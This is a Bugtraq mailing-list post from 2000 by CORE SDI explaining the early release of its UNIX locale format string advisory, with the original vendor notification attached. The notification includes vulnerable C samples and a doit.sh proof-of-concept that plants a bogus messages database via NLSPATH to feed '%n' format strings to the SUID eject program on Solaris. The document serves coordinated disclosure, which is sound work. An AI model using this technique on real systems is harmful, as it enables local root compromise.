FOLLOUP: UNIX locale vulnerability

[Iván Arce <core.lists.bugtraq () CORE-SDI COM>]

This email is an attempt to clarify the process followed by CORE
to the release of the 'UNIX locale format string vulnerability' report
published earlier today.
Im addressing this because i feel necessary to explain why the
report for a high risk multivendor problem was published when there are
no known fixes for many of the operating systems involved.

The problem was originally found on Solaris 2.7, we developed
proof of concept code and included it on our report. We also noticed
that this was very likely to be present on all UNIX operating systems
and therefore planned on contacting all vendors and coordinating
the release of information with them and a third party (Securityfocus
vulnhelp team). This was also decided because we realized that providing
a vendor fix to the problem was the only real solution. Its not evident
to us a feasible workaround for it.

On August 22nd, 2000 i sent a report (attached below) to all
UNIX vendors believed vulnerable:
Linux: RedHat, Debian, Conectiva, Mandrake, Inmunix
Sun, SCO, Compaq, SGI, IBM, HP, NetBSD, FreeBSD and OpenBSD

Previously, and in coordination with the Vulnerability Help Team at
SecurityFocus.com i had collected email addresses and PGP keys for
the security contacts at each vendor, this proved to be somewhat time
consuming but eventually i managed to get proper information for
all of the above.

The report was answered almost immediately by FreeBSD (08/22), OpenBSD
(08/22) and Conectiva Linux (08/23).FreeBSD and OpenBSD reported that
they were not vulnerable. Conectiva Linux took the time to research the
issue and reply stating that although. bad coding practices in several
SUID programs made them vulnerable, checks in GLIBC prevented
exploitation of the problem. Furthermore, we discussed the possibilities
of exploiting the problem remotely through telnet environment passing
options.
It was determined that it was no possible to do so. Our advisory
reflects
this discussion.

Auto replies were received from SGI and HP (08/22)
Personal replies acknowledging receipt of the report were received
from Compaq (08/22) and later SGI (08/23).

On August 28th, i sent an email to Sun, SCO and IBM (from which i
i had not received replies at that moment) asking if they received
the report and what was the status.
Personal replies (not automated) were received from the three vendors:
IBM (08/28), SCO (08/28) and Sun (08/29).

I have not received any communication from HP or any Linux vendor
(except Conectiva Linux) since Aug. 22nd.

I intended to go through the same process today, mailing all vendors and
asking for a bit of detail on OS versions vulnerable and estimated date
for fix releases, this seemed the right thing to do considering that
the original schedule for our advisory was Sept 11th (next monday).
But before i did that i directed my attention to the bugtraq mailing
list and found out security advisories and updates from RedHat, Debian
and Conectiva Linux. In them, one of the reported problems is
effectively
the same we report in our advisory. They are, however, GLIBC specific,
and fail to note that the same problem might be (and in fact is) present
in other UNIX operating systems.
I realized that the whole coordinated release of information with the
vendors had been blown to pieces.
Given that its a matter of minutes to realize that the problem is
present in other UNIX OSes, that the format string bugs are the new
trend and that writing an exploit is really not very hard, i decided
that it was best to just publish our advisory and warn ALL unix users
that they might be (and some ARE) vulnerable.
I notified the pending vendors (SGI, SCO, Sun, IBM and Compaq) and sent
the advisory out to bugtraq.

-ivan

PS: Below is the original problem report sent on Aug. 22nd
---

Vendor,


The following mailing mail is a pre-release vendor notification of a
security vulnerability we believe may be present in your software.
This pre-release is being coordinated by the Vulnerability Help Team at
SecurityFocus.com. This team works in conjunction with Bugtraq posters
to
attempt to notify vendors and work towards solutions before posting
advisories.

For more information on policy specifics for the Vulnerability Help
Team please mail vulnhelp () securityfocus com our PGP Key should be
included
in this message.

Also, please note all responses to the discoverer of this problem
<iarce () core-sdi com> should also be CC'd to vulnhelp () securityfocus com.


Overview and Timeline
~~~~~~~~~~~~~~~~~~~~~

The following problem is a format string vulnerability which is
believed to be present in any UNIX or UNIX like system which use the
locale
subsystem and allow users to specify a custom locale database.

We are certain at this stage that Solaris 2.x, 7 & 8 are vulnerable to
this problem and have working code to prove this point.
We suspect that most commercial UNIXes suffer from this problem as well.
Linux distributions using recent versions of glibc appear to be not
vulnerable to the problem, we are nonetheless notifying the Linux
vendors to confirm this information.
Given that this is derived of a very popular problem at the moment
(format string vulnerabilities) we suspect that this vulnerability will
be
discovered in the wild in the near future.
Given this the case we have set a release date for an advisory on this
topic on September 11th, 2000. We would like to work with you in that
time
period in order to represent your OS properly in our advisory. We look
forward to hearing from you as soon as possible.


Vulnerability Description
~~~~~~~~~~~~~~~~~~~~~~~~~

Many UNIX operating systems provide multilingual support in the
fashion of the locale subsystem. The locale subsystem comprises a set of
databases that store language and country specific information and
a set of library functions used to store, retrive and generally
manage that information.

In particular a database with messages used by almost all the
operating system programs is keep for each supported language.
The programs access this database using the gettext(3), dgettext(3),
dcgettext(3) C functions.

Generally a program that needs to display a message to the user
will obtain the proper language specific string from the database
using the original message as the serach key and printing the
results using the printf(3) family of functions.

By building and installing a custom messages database an attacker
can control the output of the gettext() functions that gets feed
to the printf(3) functions.

Bad coding practices and the ability to feed format strings to
the later functions makes it possible for an attacker to execute
arbitrary code as a privileged user (root) using almost any SUID
program on the vulnerable systems.

Impact
~~~~~~
Local execution of arbitrary code as a privileged user (root)

Technical details
~~~~~~~~~~~~~~~~~

Passing unchecked user supplied data as a format string to the
printf(3)
functions can lead to unexpected changes of flow
control and execution of arbitrary code in context of the
vulnerable program. The following C program exemplifies
the problem described:

  -----sample.c-----
  void main(int argc, char **argv)
  {
    /* This is proper use */
    printf("%s\n",argv[1]);
    /* This is bad use */
    printf(argv[1]);
    printf("\n");
  }
  ------------------
In the above example if argv[1] is a string with characters
intepreted by printf(3) as formating characters, the behavior
of the program can be altered to execute arbitrary code in
a way _similar_ to the explotation of buffer overflow
vulnerabilities:

  $ cc -o sample sample.c
  $ ./sample hello
  hello
  hello
  $ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n
  %x%x%x%x%x%n%n%n%n%n%n%n%n%n
  Memory fault (core dumped)
  $

Recent posts to computer security lists and related publications
provide good reference material to understand the problem and
possible ways to exploit it.

It has been found that most programs in many popular operating
systems suffer from this problem derived from the way the
messages database of the locale subsystem is used.
In particular, privileged programs (programs with the SUID bit
set) that execirse access to the database using the gettext(3)
function in a vulnerable manner are directly exploitable and
allow an attacker to obtain root privileges instantly.
The following code exemplifies a common bad coding practice
that makes the cited programs vulnerable:

  main(int argc, char **argv)
  {
    if(argc > 1) {
      printf(gettext("usage: %s filename\n"),argv[0]);
      exit(0);
   }
   printf("normal execution proceeds...\n");
  }

Here the output of the gettext(3) function
is not validated and passed directly to printf(3).
gettext(3) searches the messages database for a message
that matches the key "usage: %s filename\n" in the
current locale settings and returns it to the caller.
A malicious, unpriviledged, user can build and install
a bogus messages database and instruct the vulnerable
program to use it, thus controlling the output of gettext()
and force-feeding fomatting characters to printf(3).
The problem above is NOT related to the user input to the
program but instead to the data contained in the messages
database.

The following commands demostrates the problem:

  $ uname -a
  SunOS maula 5.7 Generic_106541-02 sun4m sparc SUNW,SPARCstation-5
  $ ls -l
  $ ls -l /usr/bin/eject
  -r-sr-xr-x   1 root     bin        14352 Oct  6  1998 /usr/bin/eject
  $ eject -x`perl -e 'print "ABCDEF". "A"x507`
  eject: illegal option -- x
  usage: eject [-fndq] [name | nickname]
  options:       -f force eject
                 -n show nicknames
                 -d show default device
                 -q query for media present
                 -p do not call eject_popup
  $ cat >doit.sh
  #!/bin/ksh
  export NLSPATH=:`pwd`
  echo domain \"messages\" > messages.po
  echo msgid  \""usage: %s [-fndq] [name | nickname]\\\n"\"
> > messages.po
  echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po
  msgfmt messages.po
  cp messages.mo SUNW_OST_OSCMD
  cp messages.mo SUNW_OST_OSLIB
  exec eject -x`perl -e 'print "ABCDEF" . "A"x507'`
  ^D
  $ ./doit.sh
eject: illegal option -- x
effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c
00effffa60115083effffac44effffad05effffb2c002effffac4effffad02300000000000000000
0000002effffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2e
effffe9aeffffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5a
efffff72efffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c
7ef7d000080610007d007d13ee7d217d317d9300656a656374002d78Segmentation
Fault
 $ exit

As shown, the SUID program 'eject' follows the user directives to
use a custom (bogus) messages database. The specific ways to do
it vary in different operating systems but usually involves
the usage of environment variables (NLSPATH,LC_MESSAGES,LANG,etc.)
and/or locale library functions (textdomain(3), bindtextdomain(3),etc.)

The problem however steems from bad coding practices in the
operating system's programs:
 - A SUID program should not follow the users directives of
   what database it should use, locale databases should be
   taken from a secure trusted directory.
   (This seems to be the approach in Linux distributions with
    recent versions of glibc)

 - Output of gettext(3) should not be passed as a format
   string directly to printf(3) functions.


Additional information
~~~~~~~~~~~~~~~~~~~~~~

This vulnerability was discovered by Ivan Arce of CORE SDI S.A.,
Buenos Aires, Argentina.

PGP Keys
~~~~~~~~~

Ivan Arce <iarce () core-sdi com>

------BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 6.0

mQGiBDb0OIARBADj6gZ8H9SMkVPCnQNcGhMy8E5cUQCxJV8nxPL2RVJEWmQQPXwG
uMUXEgX8HzofqQbWC7XkZEi+zsVA1QZAuRLpz8C6Yd8/3SA+XZi/QwzYCjhMNFNR
ZYjyWoCsOdoRAihL24La4r+XO3+F5CIJNjNPg5F6L2MfBPTsDJEoRYbiMwCg/0In
Avk/eFy/C9NaqN1c0GeUyXkEAMoCMjBFTBFbCcfq1yOFjJLTnCTZNsInQfOF8vUc
K8901ahX8vSSIiqh61yRW31OM0wyZ+FD4hR9wSzxwihKSDqsR0FKJhU/OUBvGyAM
YnTDy3SEg+wBdiWbrSrJscNj4ER6i9LEnLtQEExOv5iSllNROoFTnKmLuuXjtPUT
YlNIA/94D4ThfhXJzEDZeNzT7oKJ+RudxWjqUSiEt1/LJSrCVf8Tc4iBTYUmjfSx
qpsT8oDZ/pfhmAPntMaX+hPlWsbOyRHTdwNrIxvtkZk3MP9mzdk8x4ThjYkMevzG
wmXmIlzsjMACONCZcDV8qXmFKDiLOFkdKPqHYfHEsnxBkOCEU7QdSXZhbiBBcmNl
IDxpdmFuQGNvcmUtc2RpLmNvbT6JAEsEEBECAAsFAjb0OIAECwMCAQAKCRAge+eO
KtH2WolzAJ9eCov3JGlH5Oov+8TXw8PxwQOwMgCfQ1IcbGRYDeSKdQTythqRQNYW
qwWJAEYEEBECAAYFAjcY52YACgkQDENy1gaccvyqVACgs9RnijfMmbLztT8qDhV1
WWv+0NwAn2UvqBcnebbQ2i5tlj2dnUxNuRFAtCJJdmFuIEFyY2UgPEl2YW5fQXJj
ZUBjb3JlLXNkaS5jb20+iQBLBBARAgALBQI3cbFDBAsDAgEACgkQIHvnjirR9lpJ
6ACfV90/WHpdu4B4cuCeAZiNj/oLLhIAoMWEgPUSEZwr+jyfzPicYUOCZ2AcuQIN
BDb0OIAQCAD2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz
0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRP
xfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvN
ILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dD
ox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMI
PWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICB/9iGiguxVbNJuFN9u0qsdO+DNFv
EPullA+xpyedYVkRg7mcYEXpjMpDpazUC0uAUVCSbAQBBgwN762oricHkAkE6QIe
jk7gpUV7TjWr6lKH92rPgPzcfDNh8m/YlORM6rxC6B6nMsu8zLQkV9kfYrjWBmKM
Pn7G/goqvpdv0jcg/itXyTaTziebK/Z26bI7JGim6R9ZNcifRbMJ9D4jUr0AmUGc
Tx7Olv5RmMXg6bPCBmYXHTkMXEYWxikoicO0IL9hWiTy36tbTADqxBb4kGtVGIKb
IIX6p+w1CaG4jiuvSenNiTcHJ9qEGGTGJ5VqEfopzo2RakNj95gIdPB4oUCBiQBG
BBgRAgAGBQI29DiAAAoJECB7544q0fZalPQAoK8k7mS7XhQj4Q7t8aRydyBHZdiF
AJ9OBwCDicFejClIfXJr8+uP5zbl3A==
=Vz9U
-----END PGP PUBLIC KEY BLOCK-----


Vulnerability Help Team at SecurityFocus.com
<vulnhelp () securityfocus com>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>

mQENAzmdZdsAAAEIAMY6K6rr5xq7unmUYkdHDtme/XhesKrS4hXFZJAFT325Lsix
RXf+Zej+Buyqg2yiTll5EqRyHIqB1RKMgIn5yQmHHNcV7z3sG/Go+LZ9/HLHxbi2
sL9Poew6BV1fM26DswjaTDOCJ2JVZMOZHYNoMpXKRtFw38ZfBn7Bd4L+F6ipOYSu
0Mdb3PYU7GeGG2kYLJa4lw5/5PoOC25Q2+VOQQzvxuzSvtJldM9MMam480LCSJK/
8e51Bgh/Xo9axhu+lwV01sVQLkDbpJo1L3xT8vawvF3j41pD1+5/MZL9lKLEUyCZ
25vhfs2c83T1tvY6zanpd6scNFyUXXmlnNm+btUABRG0QlNlY3VyaXR5Rm9jdXMg
VnVsbmVyYWJpbGl0eSBIZWxwIFRlYW0gPHZ1bG5oZWxwQHNlY3VyaXR5Zm9jdXMu
Y29tPokBFQMFEDmdZdtdeaWc2b5u1QEBB2YH/3zDs7BxqhJgnzSQSG1H+hFFfVgN
3sVw6F8l4vVXHkFC5wABEHLhgwCb+YwM6GYW8FxSfqRS8IEtCinseVr7jNF8io3/
kbsYOY9VrLJo25TVMIElYL15wQ9PsPWMcs7/n3M0vnXSySqwSjVxKeKUm7CG3pBA
EdzRKbWqlJl+EMmjKgPzQAKKMLyHTEeFmgTYVgiZTDo0GvnLHg43yDRNDRIzvweC
/M+71sDh42ntNaC6kvH5oM5g9QVRO9lemaXCcsCfcA4v7lATV5YYKB3k/XTupjGp
Fpu9ol3qmKMcUAe7Ki3L07VhbE+jIHb54mZYQQcTbFu7qnn30XvVO5e6ckQ=
=XqTd
-----END PGP PUBLIC KEY BLOCK-----


Copyright Notice:
~~~~~~~~~~~~~~~~~

The contents of this advisory are copyright (c) 2000 CORE SDI S.A.
and may be distributed freely provided that no fee is charged for this
distribution and proper credit is given.

$Id: locale-notice-to-vendors.txt,v 1.3 2000/08/21 21:17:40 iarce Exp $
--
"Understanding. A cerebral secretion that enables one having it to know
 a house from a horse by the roof on the house,
 It's nature and laws have been exhaustively expounded by Locke,
 who rode a house, and Kant, who lived in a horse." - Ambrose Bierce


==================[ CORE Seguridad de la Informacion S.A. ]=========
Iván Arce
Presidente
PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836  B25D 207B E78E 2AD1 F65A
email   : iarce () core-sdi com
http://www.core-sdi.com
Pte. Juan D. Peron 315 Piso 4 UF 17
1038 Capital Federal
Buenos Aires, Argentina.              Tel/Fax : +(54-11) 4331-5402
Casilla de Correos 877 (1000) Correo Central
=====================================================================

--- For a personal reply use iarce () core-sdi com